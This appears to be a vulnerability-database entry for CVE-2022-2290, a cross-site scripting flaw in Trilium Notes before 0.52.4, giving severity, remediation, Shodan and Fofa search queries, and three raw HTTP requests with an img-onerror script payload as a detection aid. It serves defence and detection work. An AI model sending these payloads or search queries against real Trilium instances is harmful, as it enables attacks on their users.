🔙 목록으로 돌아가기

CVE-2022-2290: Trilium <0.52.4 - Cross-Site Scripting

TitleTrilium <0.52.4 - Cross-Site Scripting
Authordbrwsky
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Trilium instance.
RemediationUpgrade Trilium to version 0.52.4 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
CVSS Score6.1
EPSS Score0.074
CVE IDCVE-2022-2290
CWE IDCWE-79
Shodan Querytitle:"Trilium Notes"http.title:"trilium notes"
Fofa Querytitle="trilium notes"
Tags cve cve2022 xss trilium huntr trilium_project vuln

🔍 Vulnerability Description

Trilium prior to 0.52.4, 0.53.1-beta contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.

🌐 HTTP Request

GET /custom/%3Cimg%20src=x%20onerror=alert(document.domain)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /share/api/notes/%3Cimg%20src=x%20onerror=alert(document.domain)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /share/api/images/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/filename HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2290.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-2290.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A